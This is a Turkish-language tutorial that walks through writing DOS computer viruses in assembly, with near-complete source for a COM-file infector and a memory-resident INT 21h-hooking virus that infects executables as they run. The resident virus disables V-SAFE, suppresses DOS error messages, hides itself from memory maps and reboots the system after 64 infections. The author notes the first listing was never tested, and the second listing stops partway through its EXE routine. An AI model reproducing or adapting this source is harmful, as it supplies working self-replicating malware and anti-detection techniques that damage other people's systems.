Virüsler

   ::::::ANA SAYFA::::::

Program Virüsleri
nonTSR Virüsler

.Bu bölüme kodlanması en basit olduğundan non-TSR virüslerden başlıyoruz.Ama önce biraz bilgi;

Not : non-TSR virüsler içerisinde overwriting (üzerine yazan) olarak tanımlanan bir virüs türü daha vardır.Sayıca çok az olan overwriting virüsler tamamen programı işe yaramaz hale getirmek amacıyla yazılırlar.Overwriting özellikteki virüslerin TSR olarak da hazırlanabilmesi mümkündür.Ancak amacı yoketmek olan bir virüsün TSR olarak hazırlanması zaman ve emek kaybından öteye gitmez.Bu yüzden nonTSR olarak hazırlanırlar. Şimdi, COM uzantılı programlara bulaşmasını istediğimiz bir non-TSR virüs tasarlıyalım.Bu arada da COM programların önemli özelliklerini bir hatırlayalım; Com uzantılı programlar, 1 segmentten (64Kb'dan) daha uzun olamazlar.Bir COM programın boyu 64K'dan büyükse segment dışına taşacağından bilgisayarı kilitleyecektir. Com uzantılı programlar belleğer daima CS:0100 (hex) adresi baz alınarak yerleşirler.CS:0000 adresinde PSP (program segment prefix) bulunur. Şimdi COM uzantılı programlara bulaşacak olan virüsü kodlamaya başlayalım.Virüs kodu Turbo Assembler ile derlenecek şekilde hazırlanmıştır. ÖNEMLİ NOT
Daha önce bu kodu kendi web sayfama da koymuştum.Bu kodu yazarken doğrusu hiç derleyip de çalıyormu çalışmıyormu kontrol etmedim.Bu yüzden kod içinde benim dikkatsizliğimden dolayı bazı hatalar olabilir.
.Model Tiny
.Code
    Org 100h
Start:
    Db 0E9h,00h,00h
VStart:
    Call Next
Next:
    Pop Bp
    Sub Bp,Offset Next
Buraya kadar olan bölümde virüsün COM dosya içerisindeki ofset adresini tespit ediyoruz.Call NEXT komutu (E8 00 00) kendisinden bir sonraki komutu çağıran bir komuttur.Call komutu, aynen JMP gibi çalışır ancak bir farkla.Call komutu istenen adrese gitmeden önce kendinden bir sonraki komutun ofsetini stacka sürer.Böylece Ret komutuyla geriye dönüş mümkün olabilir.Hemen sonraki satırda Pop Bp komutuyla Stack'e sürülen bu ofset adresi yani NEXT: 'in ofseti Bp yazmacına alınıyor.Aldığımız Bp değerinden Next'in virüs hazırlanırken oluşan ofsetini çıkardığımızda virüsün COM dosya içindeki başlama konumunu rahatlıkla buluruz.(Virüsün dosya içindeki konumu bu şekilde buluyoruz çünkü direkt olarak IP (Instruction Pointer - Komut göstergeci) yazmacına müdahale etmek mümkün değil.)

    Lea Si,[Bp+Offset Orjinal]
    Mov Di,100h
    Mov Cx,3
    Rep Movsb

Bu kısımda ise önceden alınan orjinal programın ilk 3 baytı yenine konmaktadır.Bu sayede geri dönüş sonunda program normal bir şekilde çalışabilsin.En sonra da görebileceğiniz gibi Orjinal etiketli yerde CD 20 00 baytları yani Int 20 komutu var. İlk çalıştırma sonucunda 0100 adresine Int 20 komutu gelecek ve program çalışmasını bitirecektir.

    Lea Dx,[Bp+Offset DTA]
    Mov Ah,1ah
    Int 21h

Buradaki bölümde ise programa verilen parametrelerin kaybolmaması için kendimize yeni bir DTA (Data Transfer Area) set ediyoruz.Böylelikle virüsün dosya arama işlemleri rahatlıkla yapılabilir.DTA'nın yapısı şu şekildedir.

Ofset

Uzunluk Açıklama
0h 21 byte DOS'a ayrılmış durumda
15h Byte Dosya özniteliği
16h Word Dosyanın son değişiklik saati
18h Word Dosyanın son değişiklik tarihi
1Ah DWord Dosya boyutu
1Eh 13 byte Dosya Adı (ASCIIZ - Yani Dosya adı + Chr(0)

    Mov Ah,4eh
    Lea Dx,[Bp+DosyaTipi]
    Xor Cx,Cx
TryAnother:
    Int 21h
    Jc Quit

Bu bölüm virüsün bulaşmak için dosya aramaya başladığı bölümdür.Arayacağımız dosya tipi Dx yazmacına konulmalıdır ve Cx yazmacında istenen attribute değeri konulur.Ah=4e yapılıp Int 21 çağırılır.İstenen özellikte dosya yoksa carry flag set edilir. Eğer bir dosya bulunmuşsa;

    Mov Ax,3d02h
    Lea Dx,[Bp+Offset DTA+30]
    Int 21h
    XChg Ax,Bx

Evet, tespit ettiğimiz dosyayı okunur/yazılır modda açıyoruz.Ah=3D iken Al=00 Sadece okuma modunda, Al=01 iken sadece yazma modunda Al=02 iken Okuma/Yazma modunda aç, Dx yazmacı da ASCIIZ olarak dosya adının ofset adresini göstermelidir. Burada dosya adı zaten DTA'nın içerisinde olduğundan direkt olarak bu adres gösterilebilir.Dosya açıldıktan sonra Ax yazmacında açılan kütük numarası bulunacaktır. Bu kütük numarası daha sonra bize okuma/yazma gibi işlemlerde gerekli olacak.O yüzden bu değeri Bx yazmacında tutuyoruz.

   Mov Ah,3fh
    Mov Cx,3
    Lea Dx,[Bp+Orjinal]
    Int 21h

Bu Açtığımız dosyaya daha önce bulaşıp bulaşmadığımızı kontrol etmemiz gerekiyor. Çünkü bulaştığımız dosyaya defalarca bulaşmayı sağlamak sonuçta programın 64Kb sınırını aşmasına sebep olacaktır.Bunun için önce dosyanın ilk üç baytını okumalıyız.Tabii bu bilgi bize programı geri çalıştırırken de lazım olacak.

   Mov Ax,Word Ptr [Bp+DTA+26]
    Mov Cx,Word Ptr [Bp+Stuff+1]
    Add Cx,eov - VStart+3
    Cmp Ax,Cx
    Jz Close

İşte bu bölümde yukarıda bahsettiğim kontol yapılıyor.Dosya uzunluğu Ax yazmacında saklanıyor.Bu değer aynı zamanda virüse giriş noktası olacaktır.

    Sub Ax,3
    Mov Word Ptr [Bp+Offset WriteBuffer],Ax
    Mov Ax,4200h
    Xor Cx,Cx
    Xor Dx,Dx
    Int 21h
    Mov Ah,40h
    Mov Cx,3
    Lea Dx,[Bp+e9]
    Int 21h

Bu bölümde ise JMP komutunun özelliğinden dolayı yeni giriş noktasından 3 sayısı çıkarılıyor.Mesela bilgisayar 0100 adresinde E9 00 00 komutunu gördüğünde bunu JMP 0103 olarak yorumlar, çünkü 3 bayt zaten E9 00 00 ile kullanılmıştır.Daha sonra hesaplanan giriş noktası virüs içinde bulunan E9 karakteri ile beraber dosyanın başına kaydediliyor.Böylelikle programdan önce virüsün çalışması sağlanacaktır.Geriye bir tek virüs kodunun dosya sonuna yazılması kalmıştır.

    Mov Ax,4202h
    Xor Cx,Cx
    Xor Dx,Dx
    Int 21h
    Mov Ah,40h
    Mov Cx,eov-vStart
    Mov Dx,[Bp+VStart]
    Int 21h
Close:
    Mov Ah,3eh
    Int 21h

Bu işlem de bittiğinde dosya kapatılır ve virüs kendisine başka hedefler aramaya başlar.

    Mov Ah,4fh
    Jmp TryAnother
Quit:
    Mov Dx,80h
    Mov Ah,1ah
    Int 21h
    Mov Ax,100h
    Push Ax
    Ret

Dizinde başka .COM uzantılı dosya kalmamışsa artık virüs işini bitirmiş demektir. Artık kontrol orjinal programa devredilebilir.Ama önce eski DTA'nın yerine konulması gerekmektedir.Eski DTA set edildikten sonra Stacke 100h adresi sürülür ve ret komutuyla JMP 0100 işleminin yapılması sağlanır.Virüsümüz işini bitirmiştir.Bundan sonra virüsün kullandığı belirli olan veri alanı (heap) gelecektir.

    DosyaTipi Db "*.com",0
    Scene Db "TESTViRUS, just for educational purposes, 1998"
    Orjinal Db 0cdh,20h,0
    e9 Db 0e9h
    eov Equ $
    WriteBuffer Dw ?
    DTA Db 42 dup(?)
End START

Virüslerin neden TSR olduklarını ve TSR olmanın avantajlarına ilişkin birşeyler yazmıştım.Bunlara kısaca yeniden bir bakalım. - TSR virüsler diğer virüs türlerine oranla çok daha fazla etkindirler.Genel olarak bir veya birkaç interrupt'ı kontrol ettiklerinden bilgisayarı kontrol altına alarak sistem çalışmalarını etkilemeleri işten bile değildir. - Gizlilik (Stealh) : TSR virüsler sürekli olarak hafızada bulanacağından non-TSR virüslerdeki gibi yükleme anındaki işlemlere gerek duymazlar.Bunun yanısıra kontrol ettikleri interruptları kullanarak kendilerini kolayca saklayabilirler.Örneğin DIR komutu ile dosya boylarında değişme olmamış gibi gösterilmesi sıkça kullanılan bir yönetemdir.

Interrupt Adresinin Değiştirilmesi

Bu yol için kullanılan 2 yol vardır. Yeni Interrupt Handler rutinini set etmeden önce asılmak istenen interrupta yapılabilecek tüm çağrılar engellenmelidir (CLI/STI komutlarıyla.)

1. DOS'U KULLANMAK Bir interrupt adresini değiştirmek için DOS Servis interruptının (Int 21h) 35h ve 25h nolu fonksiyonları kullanılabilir.Bu fonksiyonların kullanımı aşağıdaki şekildedir; Ah=35h     Al=Adresi öğrenilecek INT no
INT 21h
Dönüşte; ES:BX -> İstenen interruptın adresi
Ah=25h     Al=Takılmak istenen INT no
DS:DX-> Yeni Interrupt handler adresi
INT 21h

2. INTERRUPT VEKTÖR TABLOSUNA MÜDAHALE ETMEK Interrupt Vektör Tablosu belleğin 0000:0000 adresinden başlayan Segment:Ofset formatındaki bir tablodur.Bu tablo kullanılarak bir interruptın adresi kolayca öğrenilip değiştirilebilir.Mesela Int 21h adresini öğrenmek için; XOR AX,AX
MOV DX,AX
MOV AX,WORD PTR DS:[21h*4]

MOV WORD PTR CS:INT21ADDRESS,AX
MOV AX,WORD PTR DS:[21h*4+2]
MOV WORD PTR CS:[INT21ADDRESS+2],AX
LEA AX,NEWINT21
MOV WORD PTR DS:[21h*4],AX
MOV AX,CS
MOV WORD PTR DS:[21h*4+2],AX

....
INT21ADDRESS DD ?
...
NEWINT21:
...
gibi bir kod kullanılabilir.Bu kodda Int 21h adresi bir double word olan INT21ADDRESS alanında saklanıyor ve NEWINT21 etiketi ile belirtilen adres yeni INT 21h adresi olarak değiştiriliyor.

VİRÜS İÇİN GEREKLİ   HAFIZANIN AYIRMASI

Burası biraz zor anlaşılabilir.O yüzden madde madde yazıyorum

1. DOS hafızayı kontrol etmek için MCB (Master Control Block - Ana kontrol bloğu) denen yapılar oluşturur.
2. MCB 1 paragraf uzunluğundadır (=16 byte)
3. Bir programın hafızaya ihtiyacı olduğunda MCB'tan istenen miktarda hafıza ayrılır.
4. DOS ayrıca PSP (Program segment prefix)  denen bir tablo daha tutar.Bu tabloda program ile ilgili ayarlar vs
vardır.
5. PSP, MCB'den 1 paragraf aşağıdadır.
6. MCB'lar ard arda dizilidir.
MCB YAPISI

Ofset

Uzunluk Açıklama
0 1 Byte M veya Z. Eğer M varsa o MCB'den sonra başka MCB(ler) daha vardır. Eğer Z ise bu MCB en son MCB'tur.
1 1 Word İşlem ID'si (MCB bloğu sahibinin PSP'si, Burada 0 değeri varsa o MCB boştur.Eğer 8 varsa sahip DOS'tur.)
3 1 Word Paragraf olarak boyut
5 3 Byte Ayrılmış durumda
8 8 Byte Bu alan DOS 4 ve sonrası sürümlerde kullanılıyor
MCB'ler bellekte birbiri ardına dizilirler.Bir MCB bloğunun hemen ardında bu MCB'nin kontrol ettiği bellek alanı yer alır.Yani aşağıdaki şekildedir.

MCB - 1

MCB - 1'in yönettiği hafıza alanı MCB - 2 MCB - 2'nin yönettiği hafıza alanı
Bir com uzantılı program yüklersek, mümkün olan hafıza bu yüklenen COM tipi programa ayrılacaktır.Yüklenen program EXE tipiyse, bu durumda EXE dosyaların başındaki MZ başlığa bakılır.Bu başlıkta program için gerekli olan minimum ve maksimum hafıza miktarları vardır.Program için gerekli hafıza buraya bakılarak azaltılır. PSP YAPISI

Ofset

Uzunluk Açıklama
00 2 Buradaki 2 bayt INT 20h (CD 20) komutunu gösterir
02 2 Belleğin en üst noktası buradan okunur - Genelde A000'dır
04 1 Bu bayt ayrılmıştır
05 5 Bu alan CP/M için ayrılmıştır
0A 4 Int 22h handler adresi
0E 4 CTRL-C (Int 23h) adresi
12 4 Kritik hata (Int 24h) adresi
16 2 Ana programın segmenti
18 14 Handle table
2C 2 Ortam segmenti
2E 4 Kullanıcının ayarladığı stack adresi
32 2 File handle count
34 4 Handle table address
38 1C Ayrılmış
50 3 Int 21h+RET
53 9 Ayrılmış
5C 10 FCB1 - Dosya kontrol bloğu
6C 10 FCB2 -     "         "          "
7C 4 Ayrılmış
80 1 Komut satırı uzunluğu
81 7F Geçerli DTA (DTA'nın ilk 21 baytı komut satırı olarak ayrılmıştır)
MCB ve PSP'nin ne olduğunu gördükten sonra şimdi nasıl TSR olunur buna bakalım.Bunun için benim bildiğim 3 yol var.En rezilinden en vezirine doğru şunlar; 1- DOS'un TSR kalabilmek için kullanılan servislerini kullanmak: Kullanımı çok kolaydır. Bu yolla TSR olan bir virüs anında tespit edilir.MEM /C/P komutu kullanıldığında virüsün TSR olduğu anda çalıştırılan virüslü dosyanın adı da görülür.Pek çok programın çalışmasını bellek yetersiz diye engelleyebilir.Mesela virüs 400K'lık bir EXE dosyadan TSR olmaya çalıştığında veya olduğunda en salak kullanıcı bile bunu anlar. 2- DOS'a konvansiyonel belleğin virüsün ihtiyaç duyduğu kadar az olduğunu bildirmek: Bu metod da hafıza haritası gösteren programlara takılır.Bilgisayar kullanıcılarının hemen hemen tamamı konvansiyonel bellek eksilmesinin muhtemel bir virüs aktivitesinin işareti olduğunu bilir.O yüzden bu metodla tsr olan bir virüsün ömrü uzun olmaz. 3- MCB'a direkt müdahale: Yeni bir MCB oluşturulup bu MCB zincir dışında gösterilirse yukarıdaki sorunlar halledilmiş olur. Ben burada sadece MCB olayını anlatıcam.Diğer yollar zaten pek kullanılmaz. Mov Ax,Ds
Dec Ax
Mov Ds,Ax
Mov Bx,Word Ptr Ds:[3]
MCB segmentini DS segmenti içerisine aldık ve MCB'nin kontrol ettiği hafıza miktarını BX yazmacına aktardık.
Sub Bx,((EndVir-StartVir)/10h)+2
Mov Word Ptr Ds:[3],Bx
Bu hafıza miktarından virüsün ihtiyacı kadar olan bir kısmı eksilttik ve kalan miktarı geri yazdık.Artık virüsün ihtiyaç duyduğu alan boşta kaldı
Mov Byte Ptr Ds:[0],'M'  
Sub Word Ptr Ds:[12h],((EndVir-StartVir)/10h)+2
Mov Ax,Word Ptr Ds:[12h]

MCB'yi zincir içinde görünecek şekilde ayarladık.12h adresindeki hafızanın tepesini gösteren sayıyı (bu aynı zamanda hafızanın tepesinin segmenti) ihtiyac duyulan paragraf adeti kadar azalttık.
Mov Es,Ax    
Mov Byte Ptr Es:[0],'Z'
Mov Word Ptr Es:[1],Ax

Ayırdığımız hafızanın başlangıcını ES segmentine verdik.Es, virüsün ayırdığı hafızanın MCB'sini gösteriyor.Bu MCB'yi görülen zincir dışında bıraktık ve MCB sahibini bloğun kendisi olarak işaretledik. Inc Ax
Mov Es,Ax
Push Cs
Pop Ds

ES segmentini bir paragraf yukarı çektik.Böylece MCB'nin zarar görmesini engellemiş olduk.Kodumuzu artık ES:0000 adresine taşıyabilir
iz.
İşte bu kadarcık bir kod ile virüsün TSR olabilmesi için gerekli hafızayı ayırdık.Bu işlem sonunda DS=CS ve ES=Virüs için ayırdığımız alanın segmentidir.Bundan sonra TSR kısımın kodu Es segmentine yani ayırdığımız hafıza bloğu içerisine taşınır.Interrupt adresleri de ayarlandıktan sonra (genelde) virüs kontrolü orjinal programa devreder.Çünkü bundan sonra bütün olay TSR yapılan kısıma aittir. TSR rutinde Int 21h a ait olan findfirst, findnext, fileopen, fileclose, execute gibi fonksiyonları kontrol etmeniz gerekli.Kısa bir kodla şöyle; TSR_Kisim:
    Pushf
    Cmp Ah,4Bh              ;Execute fonksiyonu kontrol ediliyor
    Jz Kontrol_Et
    Cmp Ax,1999h           ;Virüs hafızada olduğunu anlamak için
    Jnz Baska_Servis      ;Ax reg.ine 1999h koyup kesilme sonrası
    Mov Ax,9991h            ;Ax=9991h dönüyorsa TSR olmuştur.Bunun servisi
    Popf
    IRet
Baska_Servis:
    Popf
    Jmp dword Ptr Cs:Int21hAdresi    ;Başka fonksiyon çağırılmış
Kontrol_Et:
   
....
falan filan.. TSR kodu yazarken dikkat etmek gereken çok önemli bir nokta var.Kontrol ettiğiniz servisleri çağırmanız gerektiğinde bu işlemleri ASLA interruptı çağırarak yapmayın.Bu durumda stack segmenti göçürürsünüz ve TSR kısım sonsuz bir döngüye de girebilir (Sonsuz döngü olayı ne kadar iyi kodlandığına da bağlı). Şimdi de TSR virüslerin algoritmasına bakalım 1- Daha önce TSR olunmuşmu ? Olunmuşsa adım 6'ya geç
2- Hafızanın en üstünü bul
3- Virüs için gerekli alanı ayır
4- Virüsün TSR kalacak kısmını bu alana taşı
5- Interrupt vektörlerini ayarla
6- Orjinal programı çalıştır

Virüsler - 2

Program Virüsleri : TSR Virüsler

Sıra geldi TSR virüsleri incelemeye.1.ci bölümde TSR virüslerin 2 temel bölümden oluştuklarını görmüştük. Bu bölümlerin ilki virüsün ayarlarını yapıp TSR olacak olan Interrupt rutinini yükleyecek kısım, 2.ci bölüm ise virüsün en önemli kısmı olan Interrupt handler rutiniydi.Örnek koda geçmeden önce DOS'un EXE dosyalarda kullanılan MZ başlığını biraz inceleyelim.

DOS Executable programların yapısı şöyledir;

EXE Program tanıtıcısı (MZ veya ZM)

1 word

Belleğe yüklenecek kısmın tam kullanılmayan sektördeki kısmındaki bayt adeti

1 word

Belleğe yüklenecek kısmın disk üzerinde kapladığı tam sektör sayısı

1 word

Geçiş için gerekli segment adres sayısı

1 word

EXE Başlığı oluşturan paragraf sayısı

1 word

Programın çalışması için gerekli minimum paragraf sayısı

1 word

Programın çalışması için gerekli maksimum paragraf sayısı

1 word

Stack Segment

1 word

Stack Pointer

1 word

EXE dosyanın toplam kontrolü (Checksum) - Genelde 0'dır.

1 word

Instruction Pointer - Komut Göstergeci

1 word

Code Segment - Kod Segmenti

1 word

EXE dosyadaki Relocation Table konumu

1 word

Programdaki Overlay sayısı

1 word

---Relocation table---

???

EXE Header'ın hemen arkasından varsa relocation table denen tablo yer alır.Relocation table'da yer alan her word EXE dosya içinde CS tabanlı segment adreslerini düzenlemek amacıyla kullanılır.Yani relocation table'da yer alınan her word okunur ve EXE dosyanın yerleşimine göre bu wordlerin isabet ettiği adreslerdeki worde CS'nin o anki değeri eklenir.Relocation table derleyici tarafından ayarlandığı için programcıyı pek fazla ilgilendirmez.

.Bu tablodaki bilgilerin en çok kullanılan bilgilerini biraz açıklamak istiyorum.

2 ve 3.cü wordler: Bu wordler EXE dosyanın ne kadarlık bir bölümünün belleğe yüklenmesinin programın çalışması için yeterli olduğunu DOS'a bildirir.Belleğe yüklenecek kısım (3.cü word x 512)+2.word formülü ile kolayca hesaplanır.

Bunlardan en önemlisi ve en çok gerekli olan, programın EXE dosya içinde nereden başladığıdır.Burada bilinmesi gereken önemli bir kavram olan paragraf kavramını şöyle açıklayabiliriz; 1 Paragraf tam olarak 16 byte'a eşittir.Bellek içindeki yerleşim de paragraf esasındadır.Bu yüzden de 0000:0010 (hex) ile 0001:0000 (hex) aynı noktayı işaret eder.Buna göre CS:IP kullanılarak kod adresi hesaplanması şöyle yapılır:

Kod Başlangıcı (Programa giriş noktası) = (CS + EXE Dosyadaki Paragraf adeti)x16 + IP

Şimdi de örnek virüs kodunu incelelim:

        Model  Tiny
        .Code
        Org 100h
Main Proc Near
        db      0e9h,0,0
Tsr     Label   Word
Prog:   Push    Es Ds Es            
        Mov     Ax,0fa02h           
        Mov     Dx,5945h            
        Xor     Bx,Bx
        Int     16h

Bu kısımda V-SAFE devre dışı bırakılıyor.Böylece virüs kodu çalışırken V-SAFE'in kullanıcıyı uyarması engellenmiş oluyor.

        Call    Alt                 
Buradan Equ     $-Tsr
Alt:    Pop     Bp                  
        Sub     Bp,Buradan          

Yukarıdaki bölümdeki kod virüsün dosya içindeki konumunu tespit etmek için kullanılıyor.CALL komutu yapısı gereği istenen çağrıyı yapmadan önce kendinden bir sonraki komutun ofset adresini stack'a atarark istenen adrese bir JMP olayı gerçekleştirir.Bu sayede CALL komutundan RET (veya RETF) ile dönüş mümkün olabilir.RET komutu stacka en son sürülen wordu alır ve bu adrese JMP yapar.

Buradan EQU $-TSR olarak görülen satırı açıklamadan önce XXX LABEL WORD/BYTE, EQU ve $ olaylarını anlatmak istiyorum.LABEL WORD veya LABEL BYTE deyimleri bulundukları satırın ofset adresini byte veay word olarak veren bir deyimdir.Bu kod derlendikten sonra COM dosya içinde görünmez.EQU ise bildiğimiz = işaretigibi birşeydir ancak assembly da = işareti ile belirtilen eşitliklere sonradan birşey atanamaz.Yani sabittirler.EQU ile yapılan eşitlikler kod içinde istenildiği zaman değiştirilebilir.$ sembolu o satirin ofset adresini verir.mesela

mov ax,1234h
org $-1
db 00h

komutları derleyici tarafından mov ax,1200h olarak derlenecektir.Buna göre xxx EQU $-TSR satırı xxx'in değerini LABEL WORD ile belirtilen yere göre ofsetini elde etmeyi sağlar.Bp registerinde de virüsün program içindeki ofseti olacağından [Bp+xxx] şeklinde virüs kodu içindeki herhangi bir yere ulaşılabilir.

        Pop     Ax                  
        Add     Ax,10h              
        Add     Cs:[bp+DonSeg],Ax   
        Add     Cs:[bp+SSeg],Ax     
        Mov     Ax,Word Ptr Cs:[Bp+Ilk3]
        Push    Ax

Bu bölümde stackte tuttuğumuz ES(=PSP) değerini Ax yazmacına çekiyoruz.Bu sayede virüsün işini bitirdiği anda orjinal programı çalıştırırken ayarlanması gerekn stack segment ve stack pointer değerlerini ayarlıyoruz.

        Mov     Ax,1996h            
        Int     21h
        Cmp     Ax,6991h            
        jnz     TsrOl               

Virüs daha önce TSR olduğunu anlamak için yukarıdaki bölümü kullanıyor.Virüs Ax=1996 koyup Int 21'i çağırıyor.Ax yazmacında dönen değer 6991 ise virüs önceden TSR olmuş demektir.Bu durumda hiçbirşey yapmaya gerek yoktur, program çalıştırılabilir.

        Jmp     Calistir            
TsrOl:  Push    Es
        Pop     Ax
        dec     ax
        Push    Ax
        Pop     Es
        sub     word ptr es:[3],(ToplamBoy+16)/16
        inc     ax
        add     ax,word ptr es:[3]
        Mov     word ptr ds:[2],ax
        Push    Ax
        push    cs
        pop     ds
        Mov     ax,3521h       
        int     21h
        Mov     [bp+kesim],bx     
        Mov     [bp+kesim+2],es
        pop     es
        Push    Bp
        Pop     Si
        xor     di,di           
        Mov     cx,ProgBoy
        rep     Movsb
        push    es
        pop     ds
        Mov     dx,TsrKisim       
        Mov     ax,2521h
        int     21h
        Mov     Word Ptr ds:Sayac,0    

Biraz uzun ama neyse.. yukarıda bellekten gerektiği kadar yer ayırdık ve ayırdığımız alana virüsü kopyaladık.Daha sonra INT 21 adresini öğrenip virüsün INT 21h handler rutinini set ettik....

Calistir:
        push    cs cs          
        pop     es ds ax
        Cmp     Ax,'ZM'    
        jz      Exedon

Bu kısımda daha önce TSR olan virüsün orjinal programı çalıştırmak için EXE veya COM olmasını test ediyor.

        Mov     Si,Bp                  
        Add     Si,ilk3                
        Mov     di,100h
	MovSb
	MovSb
        Movsb
        pop     es ds es               
        Mov     ax,100h                
        push    ax
        Call    Yazmac
        ret       

Program eğer COM tipi ise bulaşma sırasından saklanan ilk 3 baytın geri yazmamız gereklidir.Bu işlemden sonra virüsün başında sakladığımız ES DS ES değerlerini geri almamız ve sonrasında 100h adresine geri dönüş yapmamız gerekiyor. Dönüşten önce genel yazmaçların temizlenmesi orjinal programı çalıştırılacak programların sorun çıkarmaması için önemli olduğundan genel yazmaçlar 0'lanıyor.100h değeri stack'e sürülüyor ve RET komutu ile akışın 100h adresinden devam etmesi sağlanıyor.

exedon: Pop     Ds Es
        Cli         
        Db      0b8h    
SSeg    equ     $-Tsr
        dw      ?
        Mov     SS,Ax              
        Db      0b8h
SOfs    equ     $-tsr   
        dw      ?       
        Mov     SP,Ax
        Sti         
        Call    Yazmac    
        db      0eah
DonOfs  Equ     $-Tsr
        dw      ?
DonSeg  Equ     $-tsr       
        dw      ?

Yukarıdaki kod karmaşık gelebilir.Bu bölümde SS:SP değerini ayarlamak için öncelikle CLI komutuyla interrupt çağırımını kapamamız gerekiyor.Çünkü Int 09, Int 1C gibi interruptlara takılan TSR programlar başka interruptları çağırıyor olabilir.Bu olayın sonucunda SS:SP değeri değişecektir.SS:SP ayarlandıktan sonra EAxxxx:yyyy komutu ile (bu komut FAR JMP) komutuna karşılık gelmektedir.Yani EA ....:.... ile JMP 3456:1000 gibi bir komut ifade ediliyor.Turbo assembler böyle bir komutu desteklemediği için bu olayı DB 0EAh ile yapmak gerekiyor.Sonuçta çalışmayı orjinal programa devrediyoruz.

Yazmac: Xor     Ax,Ax
        Xor     Bx,Bx
        Xor     Cx,Cx
        Xor     Dx,Dx
        Xor     Si,Si
        Xor     Di,Di
        Ret
TsrKisim Equ    $-Tsr        
        Pushf
        Cmp     Ax,1996h       
        jnz     KDeg
        popf
        Mov     ax,6991h       
        iret                   

İşte TSR kısım.Yani virüsün can damarı.Burada öncelikle çağırılan servisin, virüsün hafızada olduğunu anlamak için kullandığı önceden tasarlağımız servisin çağırılıp çağırılmadığı kontrol ediyoruz.

KDeg:   Cmp     ax,4b00h               
        jz      Evet                   
        Jmp     Calis                  

Eğer çağırılan 4b00 servisi ise (programı yükle ve çalıştır) virüs bu programa bulaşabilir.Diğer bir fonksiyon çağırılmışsa akış INT 21h orjinal adresine yönlendirilir.

Evet:   Push    Ax Bx Cx Dx Si Di Ds Es Ds Dx Es 
        Mov     Ax,3524h               
        Int     21h
        Mov     Word ptr cs:[Int24],Bx 
        Mov     Word Ptr cs:[Int24],Es
        Pop     Es  
        Push    Cs
        Pop     Ds
        Mov     ax,2524h         
        Mov     Dx,YeniInt24
        Int     21h

Eğer bir program çalıştırılmak isteniyosa bu programa bulaşmadan önce yazmaçlara girilmiş tüm değerleri saklamalıyız ve hemen ardından INT 24h (Hata üretici) interruptı devre dışı bırakmalıyız.Böylece oluşabilecek herhangi bir hata kullanıcıya iletilmeyecektir.

        Pop     Dx Ds
        Mov     Ax,4301h
        Mov     Cx,20h
        Int     21h

Bulaşma işlemine başlamadan önce mümkün olabilecek hataları en aza indirgememiz gerekir.Bu yüzden dosyanın attribute değerini archive olarak değiştiriyoruz.

        Call    Exe_Kontrol            
        Call    EXE_Ara                
        Lds     Dx,dword ptr cs:[Int24]
        Mov     Ax,2524h
        Int     21h

Artık dosyayı kontrol edip bulaşabiliriz.Dosyaya bulaştıktan sonra da aktif dizindeki EXE dosyalara bulaşmak için dosya aramaya başlayabiliriz.Böylece virüsün çok hızlı yayılmasını sağlamış oluruz.İşimiz bitince Int 24'ü tekrar devreye sokmamız gerekir.Eğer bunu devre dışı bırakırsak virüsten kaynaklanmayan DOS sorunlarında da hata görüntülenmez.Bu da virüsün yakalanmasını kolaylaştırır.

        Cmp     Word Ptr cs:Sayac,64h 
        ja      Ninja                 
        Jmp     _Ninja                
Ninja:  Xor     Bx,Bx        
N_dongu:Cmp     Bx,264
        je      Ninja_
        Mov     Dl,Byte Ptr Cs:[Oneri+Bx]
        Xor     Dl,96h
        Mov     Ah,02
        Int     21h
        Inc     Bx
        Jmp     N_Dongu
Ninja_: Xor     Ax,Ax
        Int     16h
        Db      0eah,0,0,0ffh,0ffh              

Virüs, TSR hale geldikten sonra 64 dosyaya bulaşmışsa ekrana bir mesaj yazarak kullanıcının bir tuşa basmasını bekliyor ve hemen ardından db 0eah,0,0,0ffh,0ffh komutu ile (JMP FFFF:0000) sistemi resetliyor.

_Ninja: Pop     Es Ds Di Si Dx Cx Bx Ax         
Calis:  Popf                                    
        db      0eah                            
Kesim   equ     $-Tsr
        dd      ?

Eğer daha sayaç 64'ü göstermiyorsa yazmaçlar düzeltilir.Artık virüsün işi bitmiştir.Virüs dosyayı çalıştırması için DOS'a bırakacaktır.

Exe_Ara:Push    Cs CS
        Pop     Ds
        Mov     Ah,2fh                          
        Int     21h
        Mov     word Ptr cs:[EskiDTA],Bx
        Mov     Word Ptr cs:[EskiDTA+2],Es
        Pop     Es
        Mov     Dx,YeniDTA                     
        Mov     Ah,1ah
        Int     21h

EXE Araştırma rutininde öncelikle DTA adresinin kaydedilip yeni bir DTA tanımlamamız gerekiyor.(DTA=Disk Transfer Area).Bu DTA alanını dosya aramak için kullanacağız.

        Mov     Dx,FTipi                        
        Mov     Cx,25h
        Mov     Ah,4eh
        Int     21h
        jb      DosyaBitti
	Jmp	Kontrol_ett
Tekrar_Ara:
        Mov     Ah,4fh
        Int     21h
        jb      DosyaBitti
Kontrol_Ett:
        Mov     Dx,DosyaAd
        Call    EXE_Kontrol
        Jmp     Tekrar_Ara

Bu bölümde aramak istediğimiz dosya özelliklerini DOS'a verip bize bu özelliklerdeki (*.EXE adlında ve Arşiv+Hidden+ReadOnly) dosyaların adlarını vermesini istiyoruz.Eğer EXE tipi dosya bulunmuşsa EXE dosyaya daha önce bulaşılıp bulaşılmadığını kontrol etmemiz gerekli.Dosya yoksa veya kalmamışsa işimiz bitmiş demektir.

DosyaBitti:
        Lds     Dx,dWord Ptr cs:[EskiDTA]
        Mov     Ah,1ah
        Int     21h
        Ret

Aradık, taradık bütün EXE'ler bitti ise eski DTA'nın aktifleşme zamanı gelmiş demektir.

Exe_Kontrol:
        Mov     Ax,3d02h
        Int     21h
        jnb     Hatayok
        jmp     Acamadi
hatayok:Mov     bx,ax
        Push    Cs Cs
        Pop     Ds Es
        Mov     dx,baslik
        Mov     ah,3fh
        Mov     cx,28
        int     21h
        Cmp     word ptr ds:[Baslik],'ZM'
        jz      Exe
        Cmp     word ptr ds:[Baslik],'MZ'
        jz      Exe
        jmp     com

Yukarıda virüs, bulduğu dosyayı okuma/yazma modunda açtıve EXE Header'ı okudu.Başlığın ilk 2 baytına bakarak dosyanın EXE olup olmadığına karar verdi.(EXE dosyaların başında MZ veya ZM harfleri bulunur)

exe:    Mov     Ax,ds:[StkSeg]
        Mov     ds:[SSeg],Ax
        Mov     Ax,ds:[StkOfs]
        Mov     ds:[SOfs],Ax
        Mov     Ax,Word ptr ds:[CodOfs]
        Mov     Word ptr ds:[DonOfs],Ax
        Mov     Ax,Word Ptr ds:[CodSeg]
        Mov     Word ptr ds:[DonSeg],Ax
